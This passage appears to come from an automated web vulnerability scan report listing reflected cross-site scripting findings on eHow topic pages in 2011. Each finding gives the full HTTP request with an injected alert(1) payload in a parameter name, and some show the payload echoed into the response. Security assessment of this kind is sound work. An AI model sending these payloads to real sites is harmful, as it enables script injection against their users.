GET /topic_2488_lose-weight.html?c273d'-alert(1)-'baed76bbb17=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.411. http://www.ehow.com/topic_253_lose-weight-now.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_253_lose-weight-now.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 645b7'-alert(1)-'6bc677f85f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_253_lose-weight-now.html?645b7'-alert(1)-'6bc677f85f8=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.412. http://www.ehow.com/topic_3493_lose-weight-dieting.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_3493_lose-weight-dieting.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93580'-alert(1)-'755710e4e75 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_3493_lose-weight-dieting.html?93580'-alert(1)-'755710e4e75=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.413. http://www.ehow.com/topic_363_winter-sports.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_363_winter-sports.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2604e'-alert(1)-'eed98f4b047 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_363_winter-sports.html?2604e'-alert(1)-'eed98f4b047=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:40 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=363; expires=Thu, 02-Feb-2012 15:14:40 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 49424
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Hit the Slopes for Winter Fitness - Downhill sk ...[SNIP]... <fb:like href="http://www.ehow.com/topic_363_winter-sports.html?2604e'-alert(1)-'eed98f4b047=1" ref="like" width="300"> ...[SNIP]...
4.414. http://www.ehow.com/topic_3818_flu-guide.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_3818_flu-guide.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 39151'-alert(1)-'99641d9590d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_3818_flu-guide.html?39151'-alert(1)-'99641d9590d=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.415. http://www.ehow.com/topic_3990_home-security-systems-guide.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_3990_home-security-systems-guide.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9ae0b'-alert(1)-'f561b0ceb97 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_3990_home-security-systems-guide.html?9ae0b'-alert(1)-'f561b0ceb97=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.416. http://www.ehow.com/topic_401_home-alarms.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_401_home-alarms.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27202'-alert(1)-'bf34bd8751a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_401_home-alarms.html?27202'-alert(1)-'bf34bd8751a=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Home Alarms - Home Alarm Systems | eHow.com </ ...[SNIP]... <fb:like href="http://www.ehow.com/topic_401_home-alarms.html?27202'-alert(1)-'bf34bd8751a=1" ref="like" width="300"> ...[SNIP]...
4.417. http://www.ehow.com/topic_4028_preparing-flu-season.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_4028_preparing-flu-season.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c72be'-alert(1)-'7ba2f5cfed6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_4028_preparing-flu-season.html?c72be'-alert(1)-'7ba2f5cfed6=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:52 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=4028; expires=Thu, 02-Feb-2012 15:16:52 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 42390
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Preparing for Flu Season | eHow.com </title>
4.418. http://www.ehow.com/topic_4127_home-alarm-system-guide.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_4127_home-alarm-system-guide.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8563f'-alert(1)-'3de31e10d00 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_4127_home-alarm-system-guide.html?8563f'-alert(1)-'3de31e10d00=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.419. http://www.ehow.com/topic_429_all-flu.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_429_all-flu.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dac08'-alert(1)-'b2e662a550c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_429_all-flu.html?dac08'-alert(1)-'b2e662a550c=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:03 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=429; expires=Thu, 02-Feb-2012 15:17:03 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 44805
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> All About the Flu - Avoid the Flu | eHow.com < ...[SNIP]... <fb:like href="http://www.ehow.com/topic_429_all-flu.html?dac08'-alert(1)-'b2e662a550c=1" ref="like" width="300"> ...[SNIP]...
4.420. http://www.ehow.com/topic_4989_photo-sharing-101.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_4989_photo-sharing-101.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac526'-alert(1)-'86e037a2e87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_4989_photo-sharing-101.html?ac526'-alert(1)-'86e037a2e87=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.421. http://www.ehow.com/topic_49_treating-colds-flus.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_49_treating-colds-flus.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 931c2'-alert(1)-'c447544e077 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_49_treating-colds-flus.html?931c2'-alert(1)-'c447544e077=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:03 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=49; expires=Thu, 02-Feb-2012 15:17:03 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37719
4.422. http://www.ehow.com/topic_5023_jog-lose-weight.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_5023_jog-lose-weight.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c7d7a'-alert(1)-'6dddcb2ebd7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_5023_jog-lose-weight.html?c7d7a'-alert(1)-'6dddcb2ebd7=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.423. http://www.ehow.com/topic_689_black-white-photos.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_689_black-white-photos.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 90ac0'-alert(1)-'2a391c92f95 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_689_black-white-photos.html?90ac0'-alert(1)-'2a391c92f95=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:44 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=689; expires=Thu, 02-Feb-2012 15:16:44 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 53488
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Take Black and White Photos - Taking Black and ...[SNIP]... <fb:like href="http://www.ehow.com/topic_689_black-white-photos.html?90ac0'-alert(1)-'2a391c92f95=1" ref="like" width="300"> ...[SNIP]...
4.424. http://www.ehow.com/topic_745_capture-enduring-wedding-photos.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_745_capture-enduring-wedding-photos.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc70b'-alert(1)-'a88873815ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_745_capture-enduring-wedding-photos.html?cc70b'-alert(1)-'a88873815ce=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:45 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=745; expires=Thu, 02-Feb-2012 15:16:45 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 39751
4.425. http://www.ehow.com/topic_7853_floor-fountains-guide.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_7853_floor-fountains-guide.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 520f6'-alert(1)-'466f9c19c1c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_7853_floor-fountains-guide.html?520f6'-alert(1)-'466f9c19c1c=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.426. http://www.ehow.com/topic_7992_floor-water-fountains-101.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_7992_floor-water-fountains-101.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1b74'-alert(1)-'1bd517eadfe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_7992_floor-water-fountains-101.html?f1b74'-alert(1)-'1bd517eadfe=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:26 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=7992; expires=Thu, 02-Feb-2012 15:16:26 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38098
4.427. http://www.ehow.com/topic_8016_outdoor-garden-fountains-guide.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_8016_outdoor-garden-fountains-guide.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 75e9c'-alert(1)-'b6eca6d525c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_8016_outdoor-garden-fountains-guide.html?75e9c'-alert(1)-'b6eca6d525c=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.428. http://www.ehow.com/topic_8047_water-garden-fountains-101.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/topic_8047_water-garden-fountains-101.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5fda0'-alert(1)-'099222e590f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_8047_water-garden-fountains-101.html?5fda0'-alert(1)-'099222e590f=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
4.429. http://www.ehow.com/toys-and-games/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/toys-and-games/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2468c'-alert(1)-'bd803265f69 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /toys-and-games/?2468c'-alert(1)-'bd803265f69=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:14 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72358
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Toys & Games - How To Information | eHow.com</tit ...[SNIP]... <fb:like href="http://www.ehow.com/toys-and-games/?2468c'-alert(1)-'bd803265f69=1" ref="like" width="300"> ...[SNIP]...
4.430. http://www.ehow.com/us-travel/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/us-travel/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d2a7'-alert(1)-'c41efa4ef38 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
